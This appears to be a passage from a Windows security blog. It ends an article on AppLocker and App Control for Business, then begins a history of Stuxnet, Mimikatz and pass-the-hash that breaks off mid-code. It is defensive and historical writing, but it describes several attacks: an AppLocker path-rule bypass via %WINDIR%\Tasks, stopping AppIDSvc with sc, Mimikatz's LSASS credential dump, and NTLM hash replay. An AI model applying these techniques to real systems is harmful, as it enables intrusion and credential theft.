// Sign Production.cip with the organisation's code-signing certificate // before dropping it into: // %SystemRoot%\\System32\\CodeIntegrity\\CiPolicies\\Active\\ // then reboot to seal the trusted signer set. console.log('Production policy authored and ready for signing'); `}

Regulatory anchors. NIST SP 800-167 [@nist-sp-800-167] on application allowlisting is the federal framing. The ACSC Essential Eight [@acsc-essential-eight-appcontrol] treats application control as one of eight baseline mitigations and is explicit that "the use of file names, package names or any other easily changed application attribute is not considered suitable as a method of application control" -- a structural exclusion that maps cleanly onto Authenticode-signer and hash rules but rules out an AppLocker policy built primarily on path. PCI DSS v4.0.1 [@pci-document-library] requires comparable controls for cardholder environments. The article does not work through any of them in depth; the citations are here so a practitioner can find their own compliance map.The Wayback-preserved 2017 Device Guard policy deployment guide [@ms-deploy-ci-wayback] is the canonical historical reference for the pre-1709 era, before the WDAC rename. Practitioners maintaining older infrastructure occasionally need it.

The AppLocker MMC wizard does not create default rules automatically. If you enable enforcement on a collection with zero rules, the collection's *default behaviour* is to **deny everything that matches the collection**. An enforcing Executable collection with no rules blocks every `.exe` on the device, including the ones Windows needs to boot useful applications. The wizard surface has an *Automatically generate rules* button precisely to avoid this footgun; the AaronLocker authoring path bakes the default rules in from the start. If you have ever seen a Windows session that suddenly cannot launch anything after a GPO refresh, this is the most common cause.

The decision tree is operational. The remaining job is to inoculate against the misconceptions the field has accumulated over twenty-five years. That is the FAQ.

15. FAQ -- Misconceptions and Corrections

The application-control literature has accumulated eight common misconceptions over twenty-five years. Each one is corrected below with the primary source that settles the question.

Not in the threat-modelling sense. Microsoft Learn states directly that AppLocker *"helps to prevent end-users from running unapproved software on their computers, but doesn't meet the servicing criteria for being a security feature"* [@ms-appcontrol-applocker-overview]. AppLocker is operational hygiene against non-admin users running unapproved binaries. An attacker who has reached administrator or `SYSTEM` can stop the `AppIDSvc` service and end enforcement [@ms-applocker-architecture]. If your threat model includes an admin-equivalent attacker, AppLocker is not the right control; App Control for Business with a signed policy and HVCI on is. No. App Control for Business is the current name for what was called Windows Defender Application Control from 2017 to 2024, which was called Configurable Code Integrity under the Device Guard umbrella from 2015 to 2017. Same kernel CI code path, three brand eras [@ms-appcontrol-applocker-overview] [@ms-blog-introducing-wdac-2017] [@github-wdac-toolkit-issue-411]. The rename in 2024 with Windows 11 24H2 and Server 2025 is brand management; the cmdlets and the policy XML schema are unchanged. No. You sign the policy with the **deploying organisation's** code-signing certificate -- typically an internal PKI leaf, with the private key on a hardware token or in a sealed vault [@ms-appcontrol-applocker-overview]. The application publisher's certificate is what the policy *evaluates against* at image-load time (signer rules in the policy reference publisher subjects). The two are entirely different roles. A common misreading is to assume that *"signed policy"* means *"policy that allows signed apps"* -- it does not. *Signed policy* means the `.cip` file itself carries a signature that prevents a `SYSTEM` attacker from removing or replacing it. No. ISG is a reputation classifier, not a list. Microsoft Learn states verbatim [@ms-appcontrol-isg]: *"The ISG isn't a 'list' of apps. Rather, it uses the same vast security intelligence and machine learning analytics that power Microsoft Defender SmartScreen and Microsoft Defender Antivirus to help classify applications as having 'known good,' 'known bad,' or 'unknown' reputation."* When an App Control policy is configured with ISG enabled, ISG's *known good* verdict acts as an additive allow signal alongside the policy's explicit signer / hash / path / Managed Installer rules. **No such feature exists.** A search of Microsoft Learn produces zero results for *ITL* or *Intelligent Trusted List*; URLs cited by AI summaries return 404; and the definitions offered by AI summaries contradict each other. The closest real Microsoft features are the Intelligent Security Graph [@ms-appcontrol-isg], the Microsoft Recommended Block Rules [@ms-appcontrol-bypass], and Smart App Control [@ms-smart-app-control]. If you see *ITL* in a security blog or AI-generated summary, treat it as a fabrication and ignore it. No. **AaronLocker** is Aaron Margosis's *deployment tool* [@github-aaronlocker]. It is a PowerShell-based generator that authors thorough audit and enforce policies for AppLocker and App Control. The canonical AppLocker *bypass* catalogue is Oddvar Moe's `UltimateAppLockerByPassList` [@github-ultimateapplockerbypass]. The canonical App Control bypass catalogue is Jimmy Bayne's `bohops/UltimateWDACBypassList` [@github-ultimatewdacbypass]. Microsoft's own bypass list is the *Applications that can bypass App Control* page [@ms-appcontrol-bypass]. Four different artefacts, four different roles. The enforcement engine is approximately the same (both run inside `ci.dll`), but SAC is a categorically different product: unmanaged, all-or-nothing, ISG-gated, and capable of silently auto-disabling [@ms-smart-app-control]. SAC has no per-app policy authoring surface, no GPO, no Intune integration. Enterprise-managed devices keep SAC off [@ms-support-sac-faq]. And contrary to older blog posts, SAC can be re-enabled without a clean Windows install on current Windows versions: *"Recent Windows updates allow Smart App Control to be re-enabled without requiring a clean installation"* [@ms-support-sac-faq]. The vocabulary is *evaluation mode*, not *audit mode*. No -- not in any sense Microsoft would recognise. As of February 2, 2026, AppLocker is not on the *Deprecated features in the Windows client* page [@ms-deprecated-features]. Microsoft Learn does say AppLocker *"isn't getting new feature improvements"* and that it *"doesn't meet the servicing criteria for being a security feature"* [@ms-appcontrol-applocker-overview], but it also says AppLocker *"continues to receive security fixes"* -- and the October 2024 KB5044288 cumulative update confirms that claim with a concrete AppLocker servicing fix [@ms-kb-5044288]. The defensible characterisation is *feature complete, not actively developed, continues to receive security fixes* -- not *deprecated*.

The thesis was the article's first sentence: two locks on the same door, two threat models, not redundancy. AppLocker is operational hygiene, the user-mode evaluator Microsoft itself declines to call a security feature. App Control for Business -- with a signed policy, HVCI on, and the Recommended Block Rules merged in -- is the MSRC security boundary. Both ship in Windows 11 24H2 and Server 2025 because neither is a strict superset of the other, and the practitioner gets to choose, per deployment, which lock the door needs. For deeper treatment of the cryptographic plumbing, see the companion Authenticode article; for the HVCI / VTL story, see the companion WDAC + HVCI article; for the BYOVD residual in section 13, see the companion Driver Signing article. The line between security feature and operational hygiene control is sharp in Microsoft's own words -- and the two products defending that line will both keep shipping until the line itself moves.

Mimikatz and the Credential-Theft Decade: The Windows Security Wars Part 3 (2009-2014)

noreply@paragmali.com (Parag Mali) — Sun, 31 May 2026 00:00:00 GMT

**2009-2014 was Windows security's parallel-revolution decade.** Microsoft shipped AppLocker, Secure Boot, ELAM, AppContainer, and in-box Defender [@ms-applocker; @ms-secure-boot; @ms-elam], retiring the rootkit class and the unsigned-bootloader class. In the same window, Stuxnet burned four Windows zero-days [@symantec-stuxnet-dossier-v14] against Iranian centrifuges and Benjamin Delpy released Mimikatz, which extracted every cached credential from LSASS in one command [@mimikatz-github; @greenberg-mimikatz-wired]. The defensive playbook closed per-binary attack surface while attackers pivoted up the trust stack to the credential layer that hardened binaries still had to trust. By November 11, 2014, Microsoft had acknowledged in product (Restricted Admin RDP, LSA Protected Process, KB2871997's WDigest opt-out) [@kb2871997; @ms-lsa-protection] and in print (the Mitigating Pass-the-Hash whitepaper v1 December 2012 and v2 July 2014) [@ms-pth-v1-landing; @ms-pth-v2] that the in-VTL0 LSASS model was structurally indefensible against an admin-privileged attacker on the same host. The architectural answer -- Virtualisation-Based Security and Credential Guard in Windows 10 1507 [@ms-credential-guard] -- ships eight months outside the window and opens Part 4.

1. Two Continents, Eleven Months Apart

Prerequisites. This article assumes the reader has the pre-2009 Windows-security context covered by Part 1 and Part 2, a working mental model of the Windows process / token / privilege-ring architecture (LSASS, NTLM, Kerberos AS-REQ/TGS-REQ, NTFS DACLs, EPROCESS internals, PCRs, SLAT, VTL0/VTL1), and familiarity with MS-NLMP section 3.3.2 NTLMv2 if you have not seen the construction before [@ms-nlmp-ntlmv2]. The graduate-seminar baseline is Windows Internals 6e Parts 1 and 2 [@windows-internals-6e-p1; @windows-internals-6e-p2].

June 17, 2010. An antivirus analyst at VirusBlokAda in Minsk named Sergey Ulasen receives a sample from an Iranian customer whose Windows boxes are rebooting on their own [@zetter-countdown-to-zero-day]. The dropper carries valid Authenticode signatures from Realtek Semiconductor and JMicron Technology [@symantec-stuxnet-dossier-v14]. The worm propagates via a previously unknown LNK shortcut bug that fires when Windows merely displays the icon of a crafted file [@ms-bulletin-ms10-046]. Eleven months later, in May 2011, a French government IT engineer named Benjamin Delpy publishes a closed-source proof-of-concept called Mimikatz that pulls NT hashes and Kerberos tickets out of the LSASS process memory of every Windows box he has ever logged into and prints them to the operator's console in one command [@greenberg-mimikatz-wired; @wikipedia-mimikatz]. The conventional history puts these two events on different pages of different books. This article argues they are the two visible faces of a single structural shift.

The shift is easy to state and easy to underrate. Defensive success at one layer reliably produces attacker innovation at the next layer up. Microsoft spent the 2009-2014 window shipping the most ambitious per-binary hardening programme of any commercial operating system in history -- AppLocker, ASLR improvements, BitLocker To Go, UEFI Secure Boot, Measured Boot, Early Launch Antimalware, AppContainer, the WinRT sandbox, and in-box Windows Defender [@ms-applocker; @ms-secure-boot; @ms-elam; @windows-internals-6e-p1]. The programme worked. It killed the unsigned-bootloader rootkit class, the pre-antivirus-launch malware class, and the in-process Internet Explorer rendering pwnage class. None of those primitives stopped Stuxnet on a Windows 7 host with USB enabled, and none of them stopped Mimikatz on any host where an administrator opened a console.

The reason is structural, not engineering. Every per-binary mitigation prevents the wrong code from running. Stuxnet's win32k.sys kernel exploit and Mimikatz's sekurlsa::logonpasswords command did not need to be wrong code. They needed to be the right code -- code an administrator chose to run, or a signed driver Microsoft itself had allowed to load -- running where the credentials lived. The credentials lived in the memory of a long-lived user-mode service called LSASS, and they lived there by design because the single sign-on contract requires the operating system to re-authenticate the user to network servers without re-prompting [@ms-credentials-processes]. The mitigation surface and the attack surface were not at the same layer.

timeline title 2009-2014 Windows Security Split Screen section Defender Oct 22 2009 : Windows 7 GA: AppLocker, ASLR improvements, BitLocker To Go Oct 26 2012 : Windows 8 GA: Secure Boot, ELAM, AppContainer, in-box Defender Oct 17 2013 : Windows 8.1: Restricted Admin RDP, LSA Protected Process May 13 2014 : KB2871997: WDigest opt-out, Restricted Admin back-port Nov 11 2014 : MS14-066 Schannel patch closes the window section Attacker Jan 12 2010 : Operation Aurora disclosed (single IE 0-day, espionage) Jun 17 2010 : VirusBlokAda identifies Stuxnet from an Iranian customer sample Dec 27 2010 : Dang and Ferrie present Stuxnet analysis at 27C3 Berlin May 2011 : Delpy releases Mimikatz (closed source) Aug 1 2013 : Duckwall and Campbell BlackHat USA Pass-the-Hash 2 Apr 6 2014 : Mimikatz GitHub repository created Aug 7 2014 : Delpy and Duckwall BlackHat USA Golden Ticket reveal

If both events were faces of the same shift, what was the shift? To see it, we have to start with what Microsoft was actually shipping.

2. The Hardening Decade: What Microsoft Was Doing 2009-2014

The popular story of 2009-2014 is that Microsoft was asleep while the Russians ate their lunch. That story is wrong. Microsoft shipped, in a single five-year window, more new platform-security primitives than the company had shipped in the previous decade combined. The problem was not the engineering. The problem was that the entire programme was orthogonal to the credential layer.

2.1 Windows 7 (October 22, 2009): per-binary control, finally

Windows 7 was the first Microsoft client operating system shipped after the Trustworthy Computing memo had finished one full Secure Development Lifecycle revolution. The headline platform addition was AppLocker, an application-control framework that let administrators allow or deny executables, scripts, MSI installers, DLLs, and packaged apps by publisher, file hash, or path [@ms-applocker]. Rules were authored in Group Policy and enforced by the Application Identity service. The rule-collection design was the first time a Microsoft Windows shipped a coherent allowlisting story rather than a bag of registry knobs.

AppLocker carried two structural gaps that took years to live down. First, the DLL rule collection was off by default. Enabling it broke application compatibility on almost every real estate. Second, the Application Identity service ran as a normal Windows service, which meant an attacker who reached LocalSystem could sc stop AppIDSvc and degrade enforcement open until the next reboot.This admin-stoppable-service gap is the design lesson that becomes the brief for Windows Defender Application Control's kernel-enforced policy model in Part 4 of this series. A third structural gap matters for the credential-theft era this article documents. AppLocker's publisher- and path-rule design decisions assume the file-system DACL stack enforces a clean read-allow / write-deny split for low-privileged users [@ms-applocker-design]. It does not.

The well-known operator bypass on a default Windows 7 install proceeds in four steps. Step one: identify a directory whose path matches the AppLocker default %WINDIR%\* allow rule for non-administrators (%WINDIR%\Tasks is the canonical example because it ships with permissive ACLs to let the Task Scheduler service write child files). Step two: drop the unsigned payload binary into that directory. Step three: invoke the binary by full path. Step four: observe that AppLocker's path-rule engine consults the configured policy rather than the file's actual DACL stack and permits execution because the parent directory matches the allow-rule glob. The bypass exists because AppLocker's rule evaluation and NTFS's DACL stack live on two independent rails that disagree about which paths a non-administrator may write; the cleanup that closes this class of bypass landed in Windows Defender Application Control, which is the Part 4 story.

AppLocker killed the per-binary "double-click an unsigned EXE on a managed desktop" attack class on every estate that deployed it, which turned out to be a strikingly small fraction of the Fortune 500.

Windows 7 also tightened the in-process mitigation surface. Address Space Layout Randomisation got a new opt-in ForceASLR flag callable via the loader's MitigationOptions field, letting administrators force randomisation even on EXEs and DLLs that had been compiled without the /DYNAMICBASE linker switch [@windows-internals-6e-p1].

BitLocker To Go for removable media finally gave administrators a defensible answer to the lost-USB-stick incident report. The on-disk format is a Full Volume Encryption v2 (FVE2) volume encrypted with plain AES-CBC; unlike fixed-disk BitLocker on Vista and original-release Windows 7, BitLocker To Go disables the Elephant Diffuser on removable drives so the small unencrypted discovery volume at the start of the device can ship BitLockerToGo.exe, the Windows XP / Vista BitLocker To Go Reader that supports plain AES-CBC only [@ms-bitlocker-configure]. The Reader unlocks the volume with a password or a recovery key (the recovery key escrowable by Group Policy to Active Directory); smart-card and automatic-unlock protectors require native BitLocker on Windows 7 or later. The discovery-volume design is the operational concession that lets a 2009 administrator hand a BitLocker-To-Go stick to a vendor running Windows XP SP3 without giving the vendor a usable plaintext copy; the diffuser drop is the cryptographic concession that makes the Reader compatibility story possible. The threat-model concession that BitLocker To Go does not cover is the unattended-laptop / cold-boot attack class against the primary disk's TPM-released VMK [@ms-bitlocker-countermeasures], which is the Evil-Maid territory Joanna Rutkowska and Alex Tereshkin demonstrated against TrueCrypt full-disk encryption in October 2009 [@rutkowska-evil-maid-2009] and which BitLocker would not fully answer until pre-boot PIN enforcement matured.

DirectAccess shipped as an always-on, certificate-anchored, IPsec-over-IPv6 tunnelled successor to traditional VPNs. The architectural design used a dual-tunnel model [@ms-directaccess-design-guide]: an infrastructure tunnel established at machine boot using a machine certificate, which gave the client reach-back to domain controllers, DNS, and management infrastructure before any user had logged on; and an intranet tunnel established at user logon using user credentials, which carried application traffic to the internal corporate network.

Because DirectAccess required end-to-end IPv6 in an era when public IPv6 was a rounding error, the design layered three transition technologies in priority order: 6to4 (for clients with a public IPv4 address), Teredo (for clients behind NAT), and IP-HTTPS (a TLS-encapsulated IPv6 transport that worked across any environment that allowed outbound HTTPS, included specifically as the fallback for hotel and conference networks that blocked native IPv6 and UDP-Teredo). The always-on-before-logon property is what made DirectAccess operationally distinct from a traditional VPN: a help-desk-recoverable password reset, a Group Policy push, or a software-distribution job could reach a remote machine the instant it had Internet connectivity, with no user action required.DirectAccess was later quietly deprecated in favour of Always On VPN and Microsoft Tunnel; the architectural lesson it carries is that certificate-anchored client trust scales operationally only when the certificate lifecycle is automated end-to-end.

What this killed: the per-binary "unsigned EXE on a managed desktop" class. What it did not touch: anything inside an LSASS-holding process tree.

2.2 Windows 8 (October 26, 2012): the boot chain and the sandbox

Windows 8 is the year the per-binary playbook reached architectural maturity. Four primitives shipped at once, and they all aim at distinct points on the trust stack.

UEFI Secure Boot anchors the boot chain in firmware. The Platform Key, signed Key Exchange Keys, and the signature database db together require the firmware to verify the signature of every UEFI driver, every option ROM, and the operating-system loader before transferring control [@ms-secure-boot; @ms-bulletin-ms10-046]. A revocation database dbx lets Microsoft retire keys and binaries that have been compromised. Windows 8 was the first Microsoft client operating system whose Logo certification required Secure Boot enablement by default; the chain is anchored to the UEFI 2.3.1 Errata C specification (June 2012).

Measured Boot complements Secure Boot. Each stage of the boot chain extends a SHA-256 measurement into Platform Configuration Registers 0 through 7 of the Trusted Platform Module, and the TPM event log records what was measured [@windows-internals-6e-p1]. BitLocker can then bind its Volume Master Key release to a specific PCR profile, so a tampered bootloader will not yield the disk key on next boot. Secure Boot decides whether the code is allowed to run; Measured Boot decides whether to release secrets to the code that ran.

Early Launch Antimalware (ELAM) is the first boot-start driver loaded after the kernel. ELAM gets to inspect, classify, and refuse subsequent boot-start drivers via the BDCB_CLASSIFICATION enumeration, which returns Good, Bad, Unknown, or BadButCritical [@ms-elam].Microsoft's own ELAM driver, WdBoot.sys, ships with Windows Defender; third-party antivirus vendors such as McAfee, Symantec, CrowdStrike, and SentinelOne ship their own ELAM drivers post-2014. ELAM services themselves run as a Protected Process Light, which prevents lower-signer-level code from injecting into the antimalware engine. ELAM killed the rootkit-loaded-before-AV class that had defined kernel-mode malware tradecraft since the early 2000s.

AppContainer introduces the LowBox access token. Each Modern (Metro) Windows Runtime app receives a token with a per-package security identifier and a vector of capability SIDs; resource access checks intersect the capability set with the resource's discretionary access control list [@windows-internals-6e-p1]. The model is structurally similar to iOS entitlements: the kernel refuses any access the manifest did not declare. Windows 8 also ships the in-box Windows Defender (replacing the optional Microsoft Security Essentials), and Internet Explorer 10 runs Enhanced Protected Mode inside an AppContainer, killing the in-process IE-rendering pwnage class that had dominated browser-borne malware for a decade.

A word on branding discipline. Windows 8's sandbox is correctly named WinRT plus AppContainer plus Modern (Metro) apps. UWP (Universal Windows Platform) is the Windows 10 brand introduced July 29, 2015; calling any Windows 8 deliverable UWP is a category error.

What this killed: unsigned-bootloader rootkits (Secure Boot), pre-AV-launch malware (ELAM), in-process IE-rendering pwnage (AppContainer plus Enhanced Protected Mode). What it did not touch: LSASS.

2.3 Windows 8.1 and Server 2012 R2 (October 17, 2013): the first counter-pivot

Windows 8.1 is where Microsoft first lands product-level controls that directly answer credential-replay tradecraft.

Restricted Admin RDP changes the protocol so that the client never sends the user's plaintext password to the server's LSASS [@kb2871997]. Instead, the server issues a network challenge that the client signs with its local NT hash. The classic credential-disclosure-at-server failure mode (a foothold on the RDP server learns every administrator's plaintext password as they log in) is closed. The replay failure mode is not, but Section 6 evaluates that honestly.

LSA Protected Process loads the LSASS process as a Protected Process Light with the signer level PsProtectedSignerLsa. Once Protected, even a process running as NT AUTHORITY\SYSTEM cannot call OpenProcess(PROCESS_VM_READ) against LSASS [@ms-lsa-protection]. The flag is enabled by setting HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL to 1. The architectural intuition is right; the bypass class lives in kernel mode and gets evaluated in Section 6.

Note: Restricted Admin RDP and LSA Protected Process are the first product-level Microsoft acknowledgements that the credential layer needed its own defensive rail, distinct from the per-binary playbook. Together they foreshadow the architectural pivot that ships in Windows 10 1507 as Virtualisation-Based Security and Credential Guard [@ms-credential-guard]. The full evaluation of both controls -- what they accomplish, what they leave open, and why -- is the subject of Section 6.

Every primitive above stops the wrong code from running. The threat model is about to move on.

3. Stuxnet: The Nation-State Zero-Day Reveal

3.1 Discovery timeline

Sergey Ulasen's June 17, 2010 sample at VirusBlokAda is the public discovery date [@zetter-countdown-to-zero-day]. The worm had been operating in the wild since at least 2009. Within weeks, Kaspersky, Symantec, and ESET independently confirmed the family. By September 2010, Ralph Langner at Langner Communications had identified the payload's specific target: Siemens Step 7 industrial-control software running on S7-300 programmable logic controllers, programmed to manipulate the rotor speeds of cascade-mounted gas centrifuges at the Natanz uranium enrichment facility in Iran [@langner-to-kill-a-centrifuge].

On December 27, 2010, Bruce Dang of Microsoft's Security Response Center and Peter Ferrie co-presented "Adventures in Analyzing Stuxnet" at the 27th Chaos Communication Congress (27C3) in Berlin [@dang-ferrie-27c3].The venue is 27C3, not 29C3, and Dang's affiliation is Microsoft MSRC, not Symantec; the talk is the canonical engineering primary for the win32k.sys keyboard-layout kernel exploit. Their first-hand engineering walkthrough of the win32k.sys keyboard-layout exploit is the canonical record of how Stuxnet escalated privilege on Windows 2000 and XP systems (on Windows Vista and 7, Stuxnet used the Task Scheduler zero-day CVE-2010-3338 instead). In February 2011, Nicolas Falliere, Liam O Murchu, and Eric Chien of Symantec Security Response published the v1.4 W32.Stuxnet Dossier, which enumerated the four Windows zero-days, the two stolen Authenticode certificates, and the Step 7 / S7-300 payload [@symantec-stuxnet-dossier-v14]. Ralph Langner's November 2013 "To Kill a Centrifuge" closed the analytical loop by identifying not one but two distinct centrifuge-attacks bundled into the same worm: an earlier rotor-overpressure attack and the later rotor-speed manipulation attack [@langner-to-kill-a-centrifuge].

3.2 The four zero-days

The Symantec dossier's accounting of Stuxnet's Windows zero-days is the canonical inventory. There were four, used across the worm's propagation and escalation surfaces, not chained in a single sequential exploit.

Bulletin	CVE	Role in the worm	Patch date
MS10-046	CVE-2010-2568	LNK shortcut RCE; propagation via USB without autorun [@ms-bulletin-ms10-046]	August 2, 2010
MS10-061	CVE-2010-2729	Print Spooler RCE; network-layer propagation [@ms-bulletin-ms10-061]	September 14, 2010
MS10-073	CVE-2010-2743	win32k.sys keyboard-layout local privilege escalation [@ms-bulletin-ms10-073]	October 12, 2010
MS10-092	CVE-2010-3338	Task Scheduler local privilege escalation [@ms-bulletin-ms10-092]	December 14, 2010

The LNK bug (MS10-046) is the propagation-by-USB primitive that gave Stuxnet its air-gap-jumping reputation: merely displaying the icon of a crafted shortcut, which Windows Explorer did automatically when the user opened the USB drive, triggered code execution [@ms-bulletin-ms10-046]. The Print Spooler RCE (MS10-061) addressed a Spooler permissions-validation bug that let Stuxnet propagate over the network as a printer-share request [@ms-bulletin-ms10-061].The Print Spooler attack surface returned a decade later as CVE-2021-34527 PrintNightmare, demonstrating that a sufficiently complex local-privilege-escalation surface tends to be re-discoverable across architectural rewrites. The keyboard-layout LPE (MS10-073) was the one Dang and Ferrie walked at 27C3 -- the kernel indexed a table of function pointers when loading a keyboard layout from disk, and Stuxnet supplied a layout that pointed the index at attacker memory [@ms-bulletin-ms10-073]. The Task Scheduler LPE (MS10-092) corrected the way Task Scheduler conducted integrity checks to validate that tasks ran with their intended user privileges [@ms-bulletin-ms10-092]. Stuxnet also re-used the older MS08-067 NetAPI worm bug on unpatched hosts as a non-zero-day propagation path [@ms-bulletin-ms08-067] -- this is the Conficker bug from October 2008, not a 2010 zero-day, and any four-zero-day count that includes it is wrong.

flowchart LR subgraph Propagation A["LNK shortcut RCE
MS10-046 / CVE-2010-2568"] B["Print Spooler RCE
MS10-061 / CVE-2010-2729"] end subgraph Escalation C["win32k.sys keyboard-layout LPE
MS10-073 / CVE-2010-2743"] D["Task Scheduler LPE
MS10-092 / CVE-2010-3338"] end subgraph Payload E["Siemens Step 7 / S7-300 PLC
centrifuge rotor manipulation"] end A --> C A --> D B --> C B --> D C --> E D --> E

3.3 The stolen Authenticode certificates

The worm's dropper was signed by two real, valid Authenticode certificates issued to Realtek Semiconductor and JMicron Technology [@symantec-stuxnet-dossier-v14]. Both certificates were revoked within weeks of disclosure, but during the operational window of Stuxnet, every signature check Windows performed against the dropper returned a clean verdict.The Realtek and JMicron certificates were not merely stolen out of an email inbox; the corresponding hardware security modules were almost certainly accessed in person at the original equipment manufacturers' facilities in the Hsinchu Science Park, Taiwan -- the long-form reconstruction in Kim Zetter's Countdown to Zero Day lays out the physical-access logistics that the wire-only theft hypothesis cannot satisfy [@zetter-countdown-to-zero-day]. This prefigured the supply-chain attack class that becomes SolarWinds a decade later. This was the first publicly analyzed kinetic-effect proof that the code-signing trust root -- Authenticode and the kernel-mode driver signing PKI that depended on it -- was an adversary target rather than a structural defence.

3.4 Architectural lessons

Two structural lessons emerged from the disclosure cycle. First, USB as an attack surface acquired its own discipline. In February 2011, Microsoft re-released the autorun update covered by Microsoft Security Advisory 967940 / KB971029 as an automatic update via Windows Update, having previously offered it as an optional patch in February 2009 [@krebs-autorun-2011]. Second, IT and operational-technology (OT) cross-domain trust collapsed as a defensible perimeter -- Natanz was an air-gapped network that a USB stick crossed, and every CISO with operational-technology assets had to re-ask the question of whether a nation-state would burn a Windows zero-day to break their plant.

3.5 Did Stuxnet defeat any defender primitive Windows 7 shipped?

The narrow answer is no, the worm did not need to. Stuxnet's propagation primitives carried their own attack code -- the LNK bug ran from Explorer, the Spooler bug ran from the printer-share RPC interface -- so they did not need to defeat AppLocker (AppLocker only blocks executions a configured rule denies; an explorer.exe rendering a crafted shortcut was not a denied execution) or ASLR or DEP. The win32k.sys local privilege escalation, however, foreshadowed the Section 5 argument neatly: the per-binary mitigations Windows 7 shipped (AppLocker, ASLR, DEP, ForceASLR) did nothing for a kernel-mode bug, because kernel-mode is where those mitigations are enforced from.

3.6 Was Stuxnet really the first nation-state Windows zero-day operation?

Only with two qualifiers. Operation Aurora -- the espionage campaign Google publicly disclosed on January 12, 2010 [@google-aurora-blog; @google-aurora-wayback] -- pre-dates Stuxnet's June 2010 public identification by roughly five months and used a single Windows / Internet Explorer zero-day, the IE use-after-free catalogued as CVE-2010-0249 [@nvd-cve-2010-0249], for cyber-espionage. Google's own disclosure stated that "at least twenty other large companies from a wide range of businesses -- including the Internet, finance, technology, media and chemical sectors -- have been similarly targeted" [@google-aurora-wayback]. The publicly named subset that emerged across the January 12-15, 2010 disclosure window included Adobe Systems (acknowledged on the Adobe corporate blog January 12, 2010) [@adobe-aurora-disclosure], Juniper Networks, Rackspace [@wikipedia-operation-aurora], plus Yahoo, Symantec, Northrop Grumman, Dow Chemical, and Morgan Stanley named in Ariana Eunjung Cha and Ellen Nakashima's Washington Post coverage on January 14, 2010 [@wapo-aurora-cha-nakashima]. Dmitri Alperovitch of McAfee Labs named the campaign "Operation Aurora" on January 14, 2010 based on a \..\Aurora_Src\AuroraVNC\ file-path string recovered from the malware binaries [@mcafee-aurora-alperovitch]. Microsoft patched the IE bug out-of-band as MS10-002 on January 21, 2010 [@ms-bulletin-ms10-002].

Aurora is the necessary disambiguation. The popular framing of Stuxnet as the first nation-state Windows zero-day operation is *false* without qualifiers. Aurora used one zero-day for espionage in January 2010; Stuxnet used four zero-days for kinetic effect in June 2010. The defensible framing is: *Stuxnet is the first publicly analyzed nation-state Windows operation that burned multiple zero-days for kinetic, physical effect* [@symantec-stuxnet-dossier-v14; @google-aurora-blog; @nvd-cve-2010-0249]. Both qualifiers ("multi-zero-day" and "kinetic / physical") are load-bearing. Drop either and Aurora falsifies the framing.

Stuxnet showed nation-states would burn four Windows zero-days for a single operation. But four zero-days is an expensive way to compromise a credential, and as it turned out, a French engineer was about to make zero-days irrelevant for the credential-theft problem.

4. Mimikatz: The Credential Layer Demolition

Benjamin Delpy describes Mimikatz, in Andy Greenberg's Wired profile, as "a side project to learn C" [@greenberg-mimikatz-wired]. The reader's natural reaction -- a side project that broke a decade of Microsoft's most ambitious hardening programme? -- is precisely the point.

4.1 Delpy, LSASS, and the May 2011 release

Delpy was at the time an IT manager at a French government institution he declines to name [@greenberg-mimikatz-wired]. He had become curious about an architectural quirk: Windows could prompt for his password at logon, then later authenticate him to remote servers (IIS via HTTP Digest, SMB via NTLM or Kerberos) without ever asking again. Something inside the OS had to hold a recoverable form of his password. He started reverse-engineering the Local Security Authority Subsystem Service (LSASS) and the authentication packages and security support providers loaded into it.

A long-lived user-mode Windows process that holds the secrets the operating system needs to satisfy single sign-on across SMB, RPC, HTTP, RDP, IIS, and MS-SQL without re-prompting the user. By design, LSASS caches NT hashes, Kerberos Ticket-Granting Tickets, and (depending on the loaded security packages) recoverable plaintext credentials [@ms-credentials-processes]. It is the load-bearing target of every credential-extraction tool the next decade produces.

The architectural quirk was structural, not accidental. The single sign-on contract requires the operating system to re-authenticate the user to network services, and the network protocols of the 1990s and 2000s (NTLM, Kerberos, HTTP Digest, MS-CHAP) all required either a hash, a ticket, or a recoverable plaintext to do that re-authentication [@ms-credentials-processes]. LSASS held all three. There was no way to satisfy the contract without holding the secret in some recoverable form inside an LSASS-controlled memory region.

Delpy released the first version of Mimikatz in May 2011 as closed-source software [@greenberg-mimikatz-wired; @wikipedia-mimikatz].Delpy describes Mimikatz as "a side project to learn C" in the Wired profile; the framing matters because it underlines that breaking Windows credential security at this depth did not require nation-state resources -- a single engineer with a debugger could do it. Microsoft's response to his initial private disclosure had been, in his telling, that "you don't want to fix it"; he made the tool public to force the conversation. The GitHub repository gentilkiwi/mimikatz was created on April 6, 2014 at 18:30:02 UTC -- the API-verifiable timestamp [@mimikatz-github]. Any "Mimikatz first released in 2007" claim refers to Delpy's pre-release private experimentation, not a public release.

4.2 Four primitives that broke the credential layer

The Mimikatz module set Delpy authored over 2011-2014 contains four primitives that together explain why every per-binary mitigation Microsoft had shipped was insufficient.

Replay an NT hash as a bearer credential against any service that accepts NTLM authentication, *without* ever knowing the user's plaintext password [@mimikatz-github; @duckwall-campbell-bh2013]. The NTLM protocol authenticates by proof-of-possession of the NT hash, not proof-of-knowledge of the password.

Pass-the-Hash is the load-bearing primitive. NTLM authentication on the wire authenticates by proof-of-possession of the NT hash, not proof-of-knowledge of the password. The plaintext password is computed exactly once, at logon, to derive the NT hash via MD4(UTF16LE(password)). After that the operating system does not need the cleartext again for NTLM. Anyone holding the hash can authenticate as the user without ever knowing the password. The real NTLMv2 protocol per MS-NLMP §3.3.2 is a two-stage HMAC-MD5 construction [@ms-nlmp-ntlmv2]: stage 1 derives an intermediate NTOWFv2 = HMAC_MD5(NT_hash, UTF16LE(UPPERCASE(user) || domain)); stage 2 computes NTProofStr = HMAC_MD5(NTOWFv2, ServerChallenge || ClientChallengeBlob). The bearer-credential invariant survives both stages -- the function consumes the NT hash directly and never references the cleartext -- which is the exact property Pass-the-Hash exploits.

{` // Illustrative -- the real NTLMv2 protocol is a two-stage HMAC-MD5 // construction (see MS-NLMP section 3.3.2): // Stage 1: NTOWFv2 = HMAC_MD5(NT_hash, UPPERCASE(user) || domain) // Stage 2: NTProofStr = HMAC_MD5(NTOWFv2, ServerChallenge || temp) // The Pass-the-Hash invariant -- that the NT hash is the bearer // credential because the protocol consumes it without ever needing // the cleartext password -- survives the simplification below. const crypto = require('crypto');

